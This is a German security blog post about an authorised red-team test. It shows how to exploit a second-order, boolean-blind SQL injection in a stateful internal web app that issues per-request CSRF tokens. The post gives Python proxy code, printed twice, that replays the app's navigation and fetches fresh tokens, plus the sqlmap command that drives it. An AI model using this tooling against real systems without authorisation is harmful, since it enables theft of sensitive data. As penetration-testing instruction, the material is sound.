Friday, August 24, 2018

Erweiterte Zustandsverfolgung für SQLMAP


Während eines Red Team Assessments bei eines unserer Kunden stand der Autor des Artikels zuletzt vor einer prinzipiell recht angenehmen Situation: in einer internen Webanwendung konnte er eine SQL Injection identifizieren, die ausnutzbar schien. Die Anwendung war relativ klein und nur für einen eingeschränkten Benutzerkreis zugänglich, aber laut Aussagen interner Dokumentation zusammen mit anderen, größeren Anwendungen für die Verwaltung unternehmenskritischer Daten zuständig. Also ein äußerst interessantes Angriffsziel für jemanden, der genau auf diese Daten aus wäre.

Um nun das Ziel des Tests zu erfüllen und an die sensiblen Daten zu kommen, musste die Schwachstelle ausgenutzt werden. Das beste Tool hierfür ist zweifelsohne sqlmap [1]. Es gab allerdings mehrere Herausforderungen beim Ausnutzen der Schwachstelle für sqlmap: zunächst handelte es sich um eine Second-Order Injection. Das bedeutet, dass man an einer Stelle der Webanwendung den Angriff (Injection) durchführt, aber das mögliche Ergebnis an einer anderen Stelle sieht. Diesen Fall kann sqlmap zum Glück mit `--second-order` noch gut abdecken. Als weiteres Hindernis verwendete die Anwendung CSRF-Tokens die pro Request neu erstellt wurden. Auch das hätte sqlmap noch in den Griff bekommen, mit `--csrf-url`.

Richtig problematisch wird es für sqlmap allerdings, wenn die Anwendung auch noch ihren aktuellen Zustand nachverfolgt und im Falle eines Requests, der vom aktuellen Zustand nicht möglich ist, die Aktion ablehnt. Konkret gesagt musste man in der Anwendung zunächst auf die Unterseite "Neu Hinzufügen" navigieren, damit die SQL Injection durchgeführt werden konnte. Anschließend wurde das Ergebnis der Anfrage in einem separaten Frame (Die Anwendung nutzte tatsächlich noch Framesets) geladen. Jede Einzelne der Anfragen benötigte ein CSRF-Token und zwar genau jenes, welches von der vorherigen Seite im Ablauf zur Verfügung gestellt wurde. Um dann eine neue Anfrage abzusetzen, musste zunächst wieder auf die Startseite navigiert werden (es gab einen Button "zurück"). Hierfür war kein CSRF-Token notwendig.


Wie exploitet man so etwas nun? Es handelte sich um eine boolean-blind SQL Injection, komplett manuelles Ausnutzen wäre also sehr zeitaufwendig geworden. Mit Python die Zustandsverfolgung zu scripten wäre kein Problem, aber die komplette Funktionalität von sqlmap nachzubauen oder neu zu schreiben wäre viel Aufwand gewesen. Also fiel die Wahl auf eine Kombination aus eigenem Script und sqlmap. Sqlmap definiert für individuellen Python-Code, der pro Request ausgeführt werden soll, dass ´--eval´ Flag. Hört sich zunächst passend an, aber wie bekommt man dann das CSRF-Token aus dem ausgeführten Python-Script in den Request der SQL Injection? Und wie bekommt man aus der Antwort auf diesen Request das Token in den Request zur "Second Order"-Seite?

Eine sehr einfache Lösung für das Problem, die vermutlich für jede vergleichbare Situation nützlich ist, ist eine Art Proxy-Anwendung die sich um alle Vor- und Nachbereitungen kümmert. In Python kann in wenigen Zeilen Code ein HTTP-Server aufgesetzt werden, der die Anfrage von sqlmap auf http://localhost:8000/ entgegen nimmt, an die verwundbare Anwendung weiterreicht und das Resultat als HTML ausgibt, um von sqlmap interpretiert zu werden. Das macht der folgende Code:


import BaseHTTPServer

import requests


def inject(val):

    return "<h2>Not implemented yet</h2>" # see below


class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):

        if not '?payload=' in self.path:

            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"

        else:

            payload = self.path.split('?payload=')[1]

            print("Injecting using payload {}".format(payload))

            html = inject(payload)


        self.send_response(200)

        self.send_header('Content-Type', "text/html")

        self.end_headers()

        self.wfile.write(html)


if __name__ == '__main__':

    server_class = BaseHTTPServer.HTTPServer

    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)

    try:

        httpd.serve_forever()

    except KeyboardInterrupt:

        pass

    httpd.server_close()


```
import BaseHTTPServer
import requests

def inject(val):
    return "<h2>Not implemented yet</h2>" # see below

class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if not '?payload=' in self.path:
            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"
        else:
            payload = self.path.split('?payload=')[1]
            print("Injecting using payload {}".format(payload))
            html = inject(payload)

        self.send_response(200)
        self.send_header('Content-Type', "text/html")
        self.end_headers()
        self.wfile.write(html)

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

```

Startet man sqlmap nun mit folgenden Parametern, bekommt die `inject()` Methode bei jedem Request von sqlmap eine Anfrage mit den Daten die injiziert werden sollen.

```sqlmap -u "http://127.0.0.1:8000/?payload=*"```

Die `inject()` Methode kümmert sich dann um den ganzen Rest:


import requests


JID = '<INSERT YOUR SESSION ID HERE>'

URL_POST = 'https://some-vuln-webapp.intern/endpoint1'

URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'


def get_csrf_token(resp):

        return resp.text.split('name="CSRF" value="')[1].split('"')[0]


def inject(val):

        session = requests.Session()

        session.cookies.update({'JSESSIONID': JID})


        # "Startseite"

        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})


        # "Neu Hinzufuegen"

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})


        # Inject!

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})


        # Result

        csrf_token = get_csrf_token(resp)

        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')
```
import requests

JID = '<INSERT YOUR SESSION ID HERE>'
URL_POST = 'https://some-vuln-webapp.intern/endpoint1'
URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'

def get_csrf_token(resp):
        return resp.text.split('name="CSRF" value="')[1].split('"')[0]

def inject(val):
        session = requests.Session()
        session.cookies.update({'JSESSIONID': JID})

        # "Startseite"
        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})

        # "Neu Hinzufuegen"
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})

        # Inject!
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})

        # Result
        csrf_token = get_csrf_token(resp)
        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')

```

Das Ganze läuft nur in einem Thread, also für massenhafte Datenextraktion immer noch sehr, sehr langsam - war im konkreten Fall jedoch ausreichend. Anleitungen um einen solchen `BaseHTTPServer` mit Multi-Thread Unterstützung zu implementieren, finden sich aber zu Hauf im Netz.

Mit dem hier beschriebenen Trick sind sqlmap wirklich kaum noch Grenzen gesetzt. Viel Spaß beim nächsten Pentest!


[1] https://github.com/sqlmapproject/sqlmap

No comments:

Post a Comment